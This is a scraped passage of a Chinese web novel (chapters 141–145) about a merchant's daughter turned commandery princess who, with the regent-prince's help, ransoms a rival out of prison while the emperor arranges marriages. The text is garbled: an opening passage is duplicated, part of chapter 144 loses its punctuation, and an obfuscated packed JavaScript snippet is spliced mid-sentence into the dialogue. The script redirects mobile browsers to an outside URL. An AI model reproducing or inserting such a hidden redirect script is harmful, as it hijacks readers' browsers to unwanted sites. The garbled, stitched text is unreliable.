云筝笑眯眯的挑了一个锦盒打开,“我精心挑的,您看,这玉扳指玉色多好,透着亮呢,您试试合不合适?” 厉无恙深深的看了她一眼,毫不犹豫的取下手上有些磨损的扳指,将新扳指换上。 他嘴角微勾,“合适,不大不小,正好,你的眼光不错。” 云筝得意洋洋的显摆,“那是,我是谁呀。” 云展鹏看看这个,看看那个,总觉得哪里不对劲。 下人送上茶,云筝喝了一口,是她喜欢的口味,“皇上怎么说?” 厉无恙把玩着扳指,“让你去找叶宜蓁麻烦,他等着收钱。” 云筝表情一言难尽,“皇上真的是……”太狗了。 她转头一想,能尽情的折腾叶宜蓁,“也行吧。” “跟我说说钱家的事情呗。” 厉无恙略一沉吟,“钱家出身贫寒,是靠钱老夫人起家的,钱老夫人不光是皇上的奶娘,还救了年幼的皇上好几次。” “别看钱老夫人慈眉善目的,其实有的是手段。” 云筝睁大眼睛,“她还没死?怎么一点风声都没有?” 厉无恙摆了摆手,“没死,她是个聪明人,人留在京城,却极为低调,从不抛头露面,也不结交权臣,深得皇上的的信任。” 云筝懂了,“就是说,钱老夫人一日不死,钱家就垮不了。” 厉无恙颌首,“对。” “不过,你不用担心,谁敢欺负你,狠狠打回去,有我善后。” 云筝眉眼弯弯,“谢王爷,您对我们云家真好。” 云展鹏呆呆的看着两人熟稔而又自然的互动,终于意识到哪里不对劲…… 。” “好嘞。” 父女俩带着礼物匆匆跑去睿王府,刚敲开门还没有说来意,门房就热情的招呼。 “两位快请进,我家主子在书房。” 云展鹏呆了呆,据说睿王府是最难进的,难道走错地方??“您就不去通禀一声?” 门房笑容满面的说道,“主子说,只要是锦云郡主上门,无须通禀,直接进去。” 云展鹏只知九千岁是自家女儿的靠山,但没想到关系这么铁。 “九千岁对你真不错,别看他平时冷冰冰的,没想到这么护短。” 两人来到书房,“见过王爷。” 云展鹏行完礼,就将带来的礼物奉上。 厉无恙神色淡淡的,“来都来了,带什么礼物?” 云筝笑眯眯的挑了一个锦盒打开,“我精心挑的,您看,这玉扳指玉色多好,透着亮呢,您试试合不合适?” 厉无恙深深的看了她一眼,毫不犹豫的取下手上有些磨损的扳指,将新扳指换上。 他嘴角微勾,“合适,不大不小,正好,你的眼光不错。” 云筝得意洋洋的显摆,“那是,我是谁呀。” 云展鹏看看这个,看看那个,总觉得哪里不对劲。 下人送上茶,云筝喝了一口,是她喜欢的口味,“皇上怎么说?” 厉无恙把玩着扳指,“让你去找叶宜蓁麻烦,他等着收钱。” 云筝表情一言难尽,“皇上真的是……”太狗了。 她转头一想,能尽情的折腾叶宜蓁,“也行吧。” “跟我说说钱家的事情呗。” 厉无恙略一沉吟,“钱家出身贫寒,是靠钱老夫人起家的,钱老夫人不光是皇上的奶娘,还救了年幼的皇上好几次。” “别看钱老夫人慈眉善目的,其实有的是手段。” 云筝睁大眼睛,“她还没死?怎么一点风声都没有?” 厉无恙摆了摆手,“没死,她是个聪明人,人留在京城,却极为低调,从不抛头露面,也不结交权臣,深得皇上的的信任。” 云筝懂了,“就是说,钱老夫人一日不死,钱家就垮不了。” 厉无恙颌首,“对。” “不过,你不用担心,谁敢欺负你,狠狠打回去,有我善后。” 云筝眉眼弯弯,“谢王爷,您对我们云家真好。” 云展鹏呆呆的看着两人熟稔而又自然的互动,终于意识到哪里不对劲…… 第141章 九千岁有隐疾吗? 回去的路上,云展鹏欲言又止,表情很纠结。 云筝见状,忍不住问道,“父亲,您想说什么?” 云展鹏张了张嘴,到嘴的话变了,“九千岁人真好。” 云筝嘴角轻轻上扬,“嗯,他是爱之欲其生,恶之欲其死,恩怨分明的性情中人。” 云展鹏心里直打鼓,有点头疼,九千岁好是好,就是太好了。 门不当户不对,高嫁看似风光,其实很难幸福。 万一有什么事,他都没办法帮女儿撑腰。 女儿的心思也难猜,到底是怎么想的? “他……这年纪了怎么还没有王妃?” 云筝睁着一双无辜的眼睛,“不知道啊。” 云展鹏心里直嘀咕,“不会有隐疾吧?” 九千岁瘫在轮椅上,不知有没有影响到某个地方。 云筝嘴角直抽抽,“父亲,您真是……我怎么知道?” 云展鹏尴尬的笑了,“哈哈哈,是我老糊涂了。” 八字还没有一撇呢,他太操心了。 “您才不老呢。” 钱府,满头银发的钱老夫人拉着儿子的手不放,满眼的怜爱。 “儿啊,你回来就好。” 江南总督跪在母亲面前,哭的眼眶通红,“儿子这些年不能侍候在您身边,是儿子不孝。” 钱老夫人泪中带笑,“有惠儿替你在我身边尽孝就够了。你好好替皇上办差,不要辜负了皇上的恩情。” 钱维看向母亲身边的美丽少女,跟他的原配长的极为相似,这是他的嫡长女,从小在母亲身边长大。 “是。” 钱惠冲父亲微微一笑,满眼孺孺。 钱维不动声色的移开视线,钱惠微微抿唇,似是很失落。 侍立在钱维身后的江淑蓉全看在眼里,笑吟吟的问道,“老夫人,惠儿到了适婚年纪,您有什么打算?” 钱老夫人淡淡瞥了她一眼,“你有什么打算?” 江淑蓉像是没察觉出婆母的冷淡,“老夫人,我想将惠儿嫁给平西侯府世子,江闻云。” 钱惠脸色煞白,下意识的扯了扯老夫人的衣服,老夫人安抚的轻拍她的小手。 钱维愣了一下,将原配之女嫁到继妻娘家? “江闻云资质平平,不学无术,远没有他哥哥出色。” 当初没想过将嫡长女嫁给江闻舟,两家的利益绑定已经够牢固,没必要再捆绑,如今……更没有必要了。 江淑蓉笑意盈盈的说道,“闻云那孩子是没有野心,但平平安安才是福。” “这……”钱维迟疑了。 苍老的声音响起,“平西侯府不行。” 江淑蓉面色一僵,“老夫人,为何?” 钱老夫人神色淡漠,“平西侯名声太差,还穷的到处借贷,我可不想让惠儿用嫁妆贴补夫家,辛苦一辈子。” 她直接道破江淑蓉的心思,江淑蓉脸色羞红,“老夫人,您是看不起我娘家?我江家是百年侯府……” 钱老夫人冷笑一声,“你去打听打听,哪个好人家的女儿愿意嫁进那个火炕?想拿我孙女填你娘家的坑,做梦。” “老爷。”江淑蓉委屈的红了眼眶,楚楚可怜。 钱维很心疼,但在老夫人面前,也不敢说什么。 “行了,都下去吧。” 所有人静静的退出去,只留下钱维母子两人。 钱老夫人语重心长的说道,“儿啊,你可知道我为何不肯随你去任上享福?” 钱维深知母亲才是钱家真正的顶梁柱,没有她,就没有钱家的今天。 “儿知道,您留在京城 ,能随时跟皇上联络感情 ,人在人情就在,您全是为了儿子的前程,儿子感激不尽。” 钱老夫人轻拍他的胳膊,“你知道就好,我已经给惠儿安排好了去处。” 钱维心里一动,“您有什么想法?” 钱老夫人神色淡淡的,却说出惊人的话,“我想将她送进宫中。” “这些年她跟我长大,对宫廷对皇上性情都有几分了解,希望能为皇上解忧。” 她是照皇上的喜好培养的孙女,从一开始,就想将孙女送进宫中,陪伴在君侧。 “我年纪大了,不知道还能撑多久,宫中必须要有钱家人。” 她一番良苦用心,让钱维深受感动,“娘,您费心替儿子铺路,儿子心中有愧。” 钱老夫人轻轻叹了一口气,“你啊,什么都好,唯独在女色上……罢了,不提了。” 母子促膝长谈,钱维深夜回到房中,见江淑蓉困的睁不开眼,还在坚持等他,心里一软。 “夫人。” 江淑蓉惊醒,赶紧上前侍候,“母亲又在您面前说我坏话了?他老人家为什么就是看不上我?” 她是侯府出身,钱家是泥腿子出身,穷的只能让女人进宫当奶娘。 钱维眉头微蹙,“她年纪大了,你别跟她计较,好好敬着顺着,就当是为我尽孝了。” 江淑蓉垂下眼帘,露出委屈之色,却没有再纠缠,而是换了一个话题。 “老爷,您想个办法整治云家人,我要云筝身败名裂。” 钱维神色淡淡的,“放心,我会将云筝的利用价值最大化,再除了她。” 就在此时,外面传来声音,“老爷。” 钱维看了一眼天色,这么晚了有什么急事?“进来。” 下人进来垂手禀道,“禀老爷,就在刚才,宫中给锦云郡主赏赐了一堆东西。” 江淑蓉脸色大变,“皇上怎么这么糊涂?” “闭嘴,不许胡说。”钱维挥手让下人出去,这才压低声音轻喝,“皇上,这是在敲打我。” 江淑蓉吓了一跳,“什么?” 钱维若有所思,“看来皇上对云筝不是一般的看重,没想到,昔日那个黄毛丫头,居然有这样的能耐,藏的真深。” 江淑蓉心中不甘,不就是会挣钱吗?那是上不了台面的小道,皇上至于吗? “那不能出手了?” 钱维心思飞转,“我不能亲自动手,不过,你可以让她难堪,无知妇孺为娘家出一口恶气,也在情理之中。” 他自问在皇上心中的地位不一般,这些年他帮皇上将江南的财政赋税牢牢掌控在手里,还替皇上干了很多脏事,没有功劳也有苦劳。 小打小闹,皇上不会管的。 江淑蓉的眼睛刷的亮了,“明日让人去云府,召云夫人过来见我,我要狠狠折辱她,母偿女过天经地义。” 次日,钱家下人趾高气扬的上门了,正好撞上了刚要出门的云筝。 得,这下子有好戏看了。 第142章 谁敢硬闯,杀! 钱家下人堵在云府门口,大声叫嚣,“赶紧把云姜氏叫出来,我家主子召她。” 云府的门房眉头紧皱,自从他们家大小姐成了郡主后,不知有多少人捧着帖子排队求见。 他们倒好,一个小小的下人嚣张成这样,可见门风有多差。 “你家主子是谁呀?” 钱家老婆子鼻孔朝天,态度倨傲至极,“江南总督府,也是你们云家的主子。” ”赶紧把云姜氏叫出来,别耽误主子的事。” 隔壁,锦云郡主府的大门打开,一群人簇拥着一个红衣女子走出来。 红衣烈艳,容颜绝艳,让人眼前一亮。 钱家老婆子呆了呆,看了半晌才认出来,这不是昔日那个腼腆木讷的云家女吗? 换了一身衣裳,差点认不出来了。 “云筝,你来的正好,赶紧让你娘出来……” 话还没说完,两巴掌挥了过来,“啪啪。” 老婆子的脸瞬间肿了起来,嘴角溢出鲜血。 季嬷嬷收回手,怒气冲冲的喝道,“好大的胆子,居然敢直呼郡主的名讳。” 皇上也不会直呼女孩子的芳名,会避嫌,通常只会唤云筝的封号,锦云。 老婆子被打懵了,脸颊火辣辣的烫,不禁气疯。 “你居然摆起谱,别忘了江南总督也是你的主子,你敢让人打我,就是对主子不敬,以下犯上……” 她是江淑蓉身边的老人,在钱家有几分脸面。 宰相门前七品官,江南总督夫人的亲信自然是走到哪里,都没人敢得罪,被纵的不知天高地厚。 可,这不是他们耀武扬威的江南。 云筝也不是昔日敛尽锋芒的商贾之女。 他们还活在往日的辉煌中,无法接受昔日的商贾之女已经成了高高在上的贵人。 云筝微微一笑,“季嬷嬷,你是宫中的老人,你说说,本朝郡主何时成了江南总督的奴才?这是朝廷的新规定吗?” 季嬷嬷神色肃穆,“江南总督正二品,郡主也是正二品,是平级,何来的奴才之说?也只有天下共主,我们的皇帝陛下才有这个资格,江南总督这是要造反吗?” 老婆子还在大声叫嚣,“锦云郡主,你一朝发达,就背弃旧主子,你这是忘恩负义。” 云筝神色淡漠,“来人,往宫中递一句话,就问问皇上,江南总督要当本朝郡主的主子,皇上什么时候将皇位传给他最爱的奶兄,江南总督钱维大人?我也好提前做准备。” “是。” 这话一出,老婆子吓的魂飞魄散,她再愚昧也知道,这话传到宫中会倒大霉。 “锦云郡主,你别胡来。” 如果见过一个人卑微时,心态上永远会有一种优越感。 老婆子见过云家人在总督府奉承的姿态,就一直觉得云家人是自家的奴才,谁比谁高贵? 这是一种惯性心态,很难改变。 云筝淡淡瞥了一眼,没必要跟两个下人纠缠,太掉身价。 “来人,将这两个老婆子拖下去,打二十大板。” “是。” 老婆子脸色刷的全白了,“你敢?” 云筝面色平静的坐上马车,看着老婆子被打的惨叫连连,冷声吩咐下去,“别让我娘出门,今日不管是谁来,都不许开门。谁敢硬闯,杀!” “是。” 明镜司,永安长公主站在大门口,大声嚷嚷,“本宫要见睿亲王,让本宫进去。” 守卫拦住她的去路,“九千岁不想见你。” 永安长公主气的咬牙切齿,小九是真的没有一点人情味,完全没把她这个姐姐当一回事。 “本宫是长公主。” 自从叶宜蓁入狱,她四处奔波想救出女儿,但,没人敢伸出援手,皇上那边也是冷漠至极,不许她进宫。 她只能来明镜司找九皇弟,求通融一下。 守卫听而不闻,就是不许她进明镜司。 永安长公主脸色阴沉的可怕,“来人,给本宫冲进去。” 身边的随从赶紧拉住她,“主子,您别冲动。” 硬闯明镜司,当场被诛杀,都没地方说理去。 永安长公主又气又恼,“本宫只是想见一见自己的女儿,这过份吗?” 谁都没有接话。 一道清脆的笑声响起,“哟,好热闹啊。” 永安长公主回过头一看,一个美丽的女子从马车下来,眉眼含笑,款款走过来。 是云筝! 守卫一看到她,立马笑脸相迎,“锦云郡主,您来了,快请。” 他们殷勤的姿态,把永安长公主气炸了,“她能进,本宫为何不能进?” 守卫不语,云筝笑眯眯的说道,“因为,你不被九千岁待见呗,这么简单的道理人人能看透,你就装什么糊涂呀。” 永安长公主气的手指着云筝怒骂,“狐媚子,就知道用姿色勾引男人,不过,以色侍人不会长久的,等你人老珠黄,倒贴也没人要。” 这话太难听了,云筝身边的人都面露怒容。 云筝眼中闪过一丝冷光,面露惊讶之色,“长公主,你这是侍候了几百个男人,才得出的经验之谈?你确实是人老珠黄了,又老又丑,一股老人味,呕。” 她一般不主动攻击这方面,但,对方敢拿来说事,那就休怪她反击。 永安长公主气的浑身发抖,眼眶都红了,扑过去要打她。 侍卫们立马护在云筝四周,连明镜司的守卫们齐刷刷挡在她前面,里三层外三层的护着,永安长公主根本接近不了她。 骂又骂不过,打又打不着,永安长公主气的眼前一阵阵发黑,身体摇摇欲坠。 随从赶紧扶着她安抚,永安长公主咬破了嘴唇,借着痛意才清醒了几分。 “云筝,我们做个交易。” 云筝扬了扬眉,“说说。” 永安长公主深吸一口气,“你帮我救出宜蓁,我就欠你一个人情,将来一定会回报的。” 她这是凭空画大饼,嘴巴一张,纯属忽悠。 云筝眼珠一转,“你没有圣宠,又没有权势,人情不值钱,还不如直接给钱呢。” 永安长公主内心鄙夷,不愧是商贾出身,张口闭口都是钱。 “你想要多少?” 云筝随口说道,“一百万。” 永安长公主倒抽一口冷气,“狮子大开口,你疯了吗?你怎么不去抢?” 云筝笑颜如花,“我如今这么有钱,区区一点小钱打动不了我,一百万勉勉强强吧。” “当然,你可能觉得你的独女不值这个钱,那就看着她去死吧。” “我会如实转告令爱的。” 永安长公主气的嘴巴都歪了,不肯帮忙就算了,还拨挑离间,怎么这么坏? 云筝好心的帮她出主意,“你不愿意出银子,那就拿别的东西来换,比如……丹书铁券。” 这话一出,永安长公主脸色骤变,随从们也变了脸色,气氛顿时凝固了。 第143章 叶宜蓁,你的债主来了
永安长公主神色紧张,“你说什么?丹书铁券?我哪有啊,镇南王府的那块早就消失不见了。” 云筝很惊讶,“啊,那江闻舟怎么说你手里有,而且……” 她顿了顿,表情古怪至极。 什么?不是厉无恙说的?是江闻舟?永安长公主赶紧追问,“而且什么?” 云筝努力掩饰表情,但,不怎么成功,还是古里古怪的。 她心虚极了,像个说错话的孩子,“没什么,我进去了。” 她扔了一颗炸弹,挖了一个大坑,就飞快的跑了。 留下一群心中忐忑的人。 一名随从压低声音开口,“殿下,看来得查查平西侯父子。” 永安长公主微微颔首。 随从继续说道,“殿下,若能用钱将大小姐赎回来,那是最明智的。” 永安长公主眉头紧皱,“她要一百万,太贪了。” 随从也有些不满,这跟强盗有什么区别? “可以讨价还价,最重要的是救出大小姐,大小姐的伤势还没好,在诏狱这种地方待久了,恐怕……” 永安长头痛欲裂,“让我再想想。” 他们都没有怀疑过,云筝有没有能力将人捞出来。 没办法,云筝如今风头太盛,皇上昨日还赐了东西给她,可见圣眷正浓。 明镜司内,厉无恙正在处理公事,忽然停下动作,嘴角轻轻上扬。 “锦云郡主来了,去迎一迎。” 一边的立春怔了怔,随后立马走出去,果然,云筝带着人踢踢踏踏跑来了。 “郡主请。” 云筝颌首致意,走了进去,兴奋的分享刚才的事情。 “王爷,永安长公主上套了,再压她几天,她自会掏钱。” 厉无恙微微点头,“干的不错,就是有点鲁莽,不该试探丹书铁券的事,危险。” 云筝嘟了嘟嘴,“我就是想让她跟平西侯府乱起来,别老盯着我们。” 不知是哪个字眼取悦了厉无恙,“嗯,聪明。” “嘻嘻。”云筝一脸的得瑟,像个求表扬的小朋友。 厉无恙眼中全是笑意,好可爱啊。 立秋悄无声息的捧着托盘进来,“主子,吃点东西吧。” 云筝奇怪的问道,“这个点了怎么还没吃饭?” 立秋将饭菜放在桌上,“王爷这几日身体不适,一直没好好吃东西。” 云筝有些担心,上上下下的打量,他的脸色似乎不大好。 她急急的问道,“怎么了?哪里不舒服?太医怎么说?” 她脸上的焦急,让厉无恙心中微暖,摆了摆手,“没事,就胃口不好,饿两顿就好了。” 云筝眉头微蹙,“不吃饭怎么行?身体会受不了的,我陪您吃点吧。“ “好。” 餐桌上,摆满了琳琅满目的吃食,色香味俱全。 云筝挑了一个小笼包咬了一口,眉眼弯弯,好吃! 她又挟起一个放到厉无恙的碟中,“这个好吃,皮薄馅香,您尝尝。” 厉无恙其实没什么胃口,就是不忍拂她的好意,勉强吃了一口。 好像还行? 云筝不管吃到什么好吃的,就挟一个给他,非常热情的推荐。 “这个也好好吃,您试试。” 厉无恙拒绝不了她的热情,把她挟的东西都吃掉。 一边的立春立秋看的热泪盈眶,主子总算是吃点东西了,真好。 主子哪是身体生病,是心病,每年这几天心情都会很差,不吃不喝。 云筝眼巴巴的看着厉无恙,“蒸凤爪还能再来一份吗?我好喜欢吃。” 有那么好吃吗?厉无恙不重口腹之欲,但她喜欢,就满足她呗。 他吩咐下去,“让厨子再做十份。” 云筝笑嘻嘻的举起一根手指,“一份就够了。” 厉无恙淡淡的道,“我也要吃的。” 云筝吃的很开心,“你家的厨子手艺太好了吧,每一样都很好吃。” 自家的厨子也不错,但比起睿王府的御厨,差了一点点。 见她吃的这么开心,厉无恙眉眼舒展,“那你以后常来吃。” 云筝端起碧粳粥喝了一口,这个贡米的量极少,只有宫中和睿王府分了一些。 所以,不光是厨子好,食材也很关键。 有些食材就算有钱也搞不到。 “好啊,好啊。” 立春小心翼翼的说了一句,“郡主,您一定要常来,有您陪着吃饭,主子的胃口好了很多。“ 厉无恙淡淡瞥了他一眼,立春噤若寒蝉,缩了缩身体。 云筝全看在眼里,“一个人吃饭很无聊吧?” 厉无恙淡淡的道,“习惯了,从小到大我都是一个人吃饭。” 云筝心里说不出是什么滋味,出生在帝王家,尊贵无双,但,亲情是缺失的。 自古皇家无亲情,唯有至上权与利。 “太后呢?” 她进过几次皇宫,都没有见到太后,对那位传奇太后还挺好奇的。 厉无恙眉眼带出一丝清冷,“她?在烧香拜佛。” 云筝有些心疼,有些不快,“怎么这样啊,烧香拜佛比照顾儿子还重要吗?年幼的孩子需要亲娘照顾,她倒好,扔给皇上不管了。” 立春急的满头大汗,冲云筝直使眼色。 小祖宗,这个话题太敏感了,不能提啊。 之前,谁提了一句太后,就被九千岁给流放了。 云筝这才回过神,完了,亲不间疏啊,人家是亲母子,怎么办?她闯祸了! 她小心翼翼的解释,“啊,我不是故意说太后坏话,我没有不敬的意思。” 厉无恙深深看了她一眼,她在心疼他,是吧?“她确实是个失职的母亲。” 立春立秋目瞪口呆,这是他第一次说这种话。 云筝立马换了个话题,“那,您多来我家吃饭吧,我们全家都很欢迎你。” 她悄悄看他的脸色,“我家的灸鸭是一绝,皮脆肉香,可好吃了。” 厉无恙嘴角轻扬,“什么时候能吃?今天行吗?” 云筝眼睛刷的亮了,他没生气,嘻嘻。“晚上就能吃,我这就让人去安排。” 吃饱喝足,云筝杀去了诏狱。 搞钱,搞钱,搞钱! 诏狱最里面的牢房,关着叶宜蓁和江闻舟。 两人正紧紧依偎在一起,颇有几分亡命鸳鸯的味道。 云筝猛的嚷了一声,“叶宜蓁,你的债主来了!” 叶宜蓁猛的回头,好气,好烦啊。 感觉,她不怀好意!来者不善!
第144章 一鱼两吃 云筝打量了她几眼头发散乱容颜憔悴但没有用刑的痕迹。 叶宜蓁也在打量她衣着光鲜亮丽明艳动人两人形成了鲜明的对比。 她有些自惭形秽但更多的是愤怒和怨恨“你又想干什么?” 云筝眼珠微转“我刚在门口看到你娘了我说可以花钱将你弄出去 叶宜蓁精神大震能花钱出去?还有这样的好事? 不会是骗她吧? 她娘为什么不肯花钱? 江闻舟忍不住怼道“云筝你真是掉进钱眼子了开口闭口就谈钱庸俗。” 这几日一直在诏狱关着吃了不少苦但他和叶宜蓁的感情得到了极大的修复。 两人一起经历生死同甘共苦紧紧依偎瞬间回到了感情最好时。 而且他也不用去当马奴不用受尽羞辱挺好的。 云筝毫不留情的怼道“可你连谈钱的资格都没有因为你是穷光蛋!” “你……”江闻舟气的吐血太扎心了。 叶宜蓁疯狂的想出去这几日她吃不好睡不好担惊受怕伤口隐隐作痛心里更是受尽煎熬。 她不想死她还这么年轻! 她努力不让自己露出急迫之色“多少钱?” 但她一开口就暴露了她的真实想法。 云筝笑眯眯的举起一根手指头“一百万。” 叶宜蓁暗暗磨牙“你怎么不去抢?” 云筝毫不在意“你娘也嫌贵不肯给反正我是无所谓皇上这几日就会圣裁据说要将你推出去砍了以儆效尤。” “到时就算掏一千万也来不及了。” 叶宜蓁又怕又急“你是不是进谗言了?” 云筝眉眼弯弯笑的可甜了但说出来的话能气**。 “对啊我就说长公主之女这个身份最适合拿来杀鸡儆猴。” “有点地位震慑那些不规矩的权贵又没有什么感情杀了也不心疼。” 听听这是人话吗? 江闻舟气的浑身发抖大声怒斥“你好卑鄙。” 叶宜蓁眼眶都红了深吸一口气“十万两。” 云筝嘴角轻轻上扬,“还是你识时务。” “六十万。” 漫天要价,就地还钱。 叶宜蓁咬了咬牙,“二十万,不能再多了,我娘没有那么多银子。” 云筝知道这是底线了,行吧,比她预想的要多。 “二十万只能放一个人,你,还是江闻舟?” 叶宜蓁神情僵住了,下意识的看向江闻舟。 江闻舟脑袋嗡嗡作响,“云筝,你怎么这么坏?我又没有犯法。” 云筝颇为好笑,“那你怎么在诏狱?你难道不知道,这地方竖着进来,横着出去吗?” 江闻舟眼眶泛红,“蓁蓁,你不要管我,就让我在诏狱默默死去吧,只要你好好的,一切都是值得的。” 他一副只要为了你,什么都可以牺牲,包括他的性命。 叶宜蓁深受感动,许下诺言,“等我出去后,会想办法救你的,你放心。” 江闻舟心里隐隐有些不舒服,但,面上不露。“我相信你。” 谁知,云筝来了一句,“不能和离就丧偶,恭喜啊。” 这话一出,两人的脸色都变了。 江闻舟明知这是挑拨离间,但还是会想多。 “你别胡说八道。” 叶宜蓁大声怒喝,“闭嘴。” 云筝哈哈一笑,“人心虚的时候,会不自觉的提高声音。” 江闻舟心里一紧,紧紧拉着叶宜蓁的手不放,“蓁蓁,我相信你,我们情比金坚,谁都拆散不了。” 他义正言辞的表示,“云筝,我就算死,也不会让你伤害蓁蓁的。” 云筝看着他们表演,都是凉薄之辈,偏要装成重情重义之人。 “你姑姑回来了。” 江闻舟还没有反应过来,“什么意思?” 云筝嫌弃的白了他一眼,怎么这么蠢?“平西侯府没钱,但你姑姑有钱啊,钱维是江南的土皇帝,对姑姑宠爱有加,缺了谁也不会缺了她。” 闻言,江闻舟眼神闪烁。 云筝轻笑道,“你姑姑只有一个儿子,年纪还小,能不能成材还不知道呢。” “她对你视若亲子,还指着你和平西侯替她撑腰。” 叶宜蓁心里大动,世人皆知江南总督是皇上的钱袋子,有钱有势力。 “闻舟哥哥,我想你活着, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15886575|174986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好好的活着,陪着我一起变老。” 江闻舟深情款款的看着她,“只要你开心,我什么都答应你,我这就写信给我姑姑,求她援手。” 两人含情脉脉,温馨无比。 云筝嘴角轻扬,一鱼两吃,完美。 她顺利拿到两封信,踩着轻快的脚步走出明镜司。 永安长公主看着她旁若无人的走过去,赶紧叫住她,“云筝,你站住。” 云筝像是刚看到她,扬了扬手中的信,“长公主啊,你的信,我真是个大好人,不许旧嫌帮你们母女传递书信,你们都欠我一个人情啊。” 永安长公主劈手要抢,云筝身形一闪,侍卫拦在前面。 永安长公主又气又急,“把信给我。” 云筝笑眯眯的开口,“那你发誓,将来一定会还我人情,若不还,就……被属下背刺,被亲人捅刀子。” 永安长公主快气炸了,强行要人情,还让她发这种毒誓。 “云筝。” 云筝拿着信封,做势要撕掉,“不想要了?” 永安长公主被拿捏住了,“好,我发誓,将来一定会还你人情,若不还……” 她一字一字照着发了誓言,云筝这才将信递了过去。 永安长公主迫不及待的拆开,不一会儿,惊呼声响起,“二十万?” 云筝微微颌首,“对,赶紧吧,晚一天,她就多受一天苦,她的伤口似乎又裂开了,恐怕……” 永安长公主身边的随从轻喊道,“主子。” 二十万虽然贵,但,也能咬牙拿出来。 只是,永安长公主很不甘心,“你说话算数?你也发誓。” 发个屁誓?云筝看向门后的人,“立春大人。” 立春从门后走了出来,“锦云郡主的话,能代表我家九千岁。” 永安长公主忽然明白过来,厉无恙也是分赃集团的一员。 md,一丘之貉,臭味相投,全不是好东西。 “行,我这就取钱赎人。” 罢了,等她救出叶宜蓁,转头就向皇上告状。 但,她能如愿吗? 而此时,宫中,皇上在做一个非常重要的决定,关系到无数人命运的决定…… 第145章 赐婚 宫中,皇后将一堆资料送到御前,“皇上,这是京城各家闺秀的名单,您看看。” 皇上这才想起,最近太忙,忘了给儿子们挑选王妃。 “春日宴上,谁的表现不错?” 皇后随手从资料中扒拉出几份,“大理寺卿之女秦素素,秀外慧中,抚远将军之女程明丽,容颜出众,礼部尚书之女许婉婧,气质娴雅,次辅孙女,孙若云,温良敦厚……” 皇上随意翻了翻,沉吟半响,“礼部尚书之女许婉婧为三皇子妃,抚远将军之女程明丽,为三皇子侧妃。” 三皇子妃没有悬念,就是程明丽有些意外。 “青云书院顾院长孙女顾丹青,为四皇子妃,吏部侍郎之女,吕落霞为四皇子侧妃。” 皇后的脸色微变,青云书院院长是当代大儒,弟子无数,在朝中有人,但,没有真正的实权。 顾丹青是有名的才女,但太过清高,目下无尘。 而吏部侍郎官职不是很高,但有实权,吏部管百官的升迁啊。 这妻妾身份地位倒过来,正妻是压不住妾室的,以后有的斗了。 皇上到底是什么意思? 皇上头也不抬,语气凉凉的,“怎么?皇后有意见?” 皇后心里一紧,轻声笑道,“皇上慧眼独矩,挑的都是才貌双全的好姑娘,臣妾佩服万分。” 金口玉言,已经没有回旋的余地,还不如卖个好。 “不过,九皇弟怎么还不挑?” 皇上眉头微蹙,“九皇弟性情孤傲,总要他点头才行。” 皇后眼神微闪,“父母之命,媒妁之言,皇上既是君,又是长兄,长兄如父,您替九皇弟作主合情合理,他自然是感激涕零。” 皇上是担心睿亲王抗旨,让他下不了台。 “你不懂,九皇弟够苦了,朕只想帮他挑个称心如意的,他喜欢,才能过的幸福。” 皇后沉默了,睿亲王位高权重,手握明镜司,一人之下,万人之上,到底哪里苦了? 这样的苦,她也想尝尝。 皇上的心是偏的! 她眼眸微暗,不动声色的试探,“皇上,锦云郡主跟九皇弟极谈得来,您看?” 皇上不假思索的摇头,“她不行。” 云筝太会挣钱了,她不能嫁给皇室中人。 钱权结合,将是一份巨大的威胁,他不会让自己置身在险境。 皇后暗暗松了一口气,“那,锦云郡主也老大不小了,也该给她赐一门好亲事。” 皇上抬起头,定定的看着她,“你有什么想法?” 皇后深知枕边人的性情,他又开始猜忌了。 伴君如伴虎,但她自有一套应对之策。 “我还挺喜欢锦云郡主的,聪明伶俐,能言善道,要不是我娘家没有出色的子弟,我恨不得帮娘家抢人呢。” 皇上这才收回视线,轻敲桌面,“得给她找一个家世清白,人口简单,脾气长相人品皆好的年轻才俊,等今年会试吧。” 皇后听明白了,从今年的科举人才中挑,重点是寒门出身,好拿捏。 “皇上对锦云郡主真好,我们的小公主要吃醋了。” “哈哈哈,不一样的。” 外面传来动静,“皇上,明镜司立春大人求见。” 皇上的动作一顿,“让他进来。” 他吩咐下去,“把这几道赐婚圣旨颁下去。” “是。” 皇后识趣的行礼,“臣妾告退。” 皇上挥了挥手。 皇后退出去时,正好跟立春迎面对上,立春冲她行了一礼,她颌首回礼。 两人擦身而过,皇后回过头看了一眼,眼神复杂到了极点。 立春进入宫殿,恭恭敬敬行礼,“见过皇上。” “起来吧,何事?” 立春将一个锦盒奉上,“九千岁让属下送到御前。” 太监接过来,打开检查,就被一箱子的银票迷了眼。 皇上挑了挑眉,“这哪来的钱?” 立春毕恭毕敬,“这是叶宜蓁的赎金,十万两银票。” 皇上嘴角轻扬,“速度够快。” “咦,锦云怎么没扣下一点?这不符合她雁过拔**的性格。” 立春想笑又不敢笑,呛着了,“咳,扣了。” 皇上有些惊讶,那就是说,赎金不止十万。 “多少?” 立春轻声禀道,“她五万,九千岁五万。” 皇上呵呵一笑,“一共二十万?皇姐真有钱。” 立春来了一句,“江闻舟还能收二十万。” 皇上立马来了兴趣,“他哪来的钱?” 立春想到九千岁叮嘱的那一番话,立马说道,“他有一个有钱的姑姑。” 这是跟皇上提前打招呼,免得有所误会。 果然,皇上的眼睛危险的眯了起来。 “江南总督的钱啊。” 那是他的钱袋子,动江南总督的钱,就是动他的钱,他能忍? 立春在心里暗夸自家主子有先见之明,皇上的心思被猜的明明白白。 “这位总督夫人极尽奢侈,一道鸭舌需要二百只鸭子配菜,鞋子上的夜明珠比宫中嫔妃的都大。” “每日穿新衣,件件都是贡品衣料。” 随着他的话,皇上的脸色越来越沉,比宫中过的还好!“她哪来那么多?” 立春小心翼翼的说道,“中途截的贡品。” 皇上气笑了,“好,很好,好大的胆子。” 